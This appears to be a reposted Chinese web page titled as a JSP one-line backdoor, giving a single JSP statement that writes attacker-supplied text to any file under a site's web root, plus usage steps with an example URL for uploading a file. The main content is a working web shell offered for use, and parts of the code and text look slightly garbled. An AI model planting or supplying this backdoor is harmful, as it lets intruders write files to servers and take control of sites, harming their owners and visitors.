|
|
if(request.getParameter("f")!=null)(new Java.io.FileOutputStream(application.getRealPath("http://")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.NET.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.NET.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
jsp技術：JSP一句話后門，轉(zhuǎn)載需保留來源！
鄭重聲明：本文版權歸原作者所有，轉(zhuǎn)載文章僅為傳播更多信息之目的，如作者信息標記有誤，請第一時間聯(lián)系我們修改或刪除，多謝。
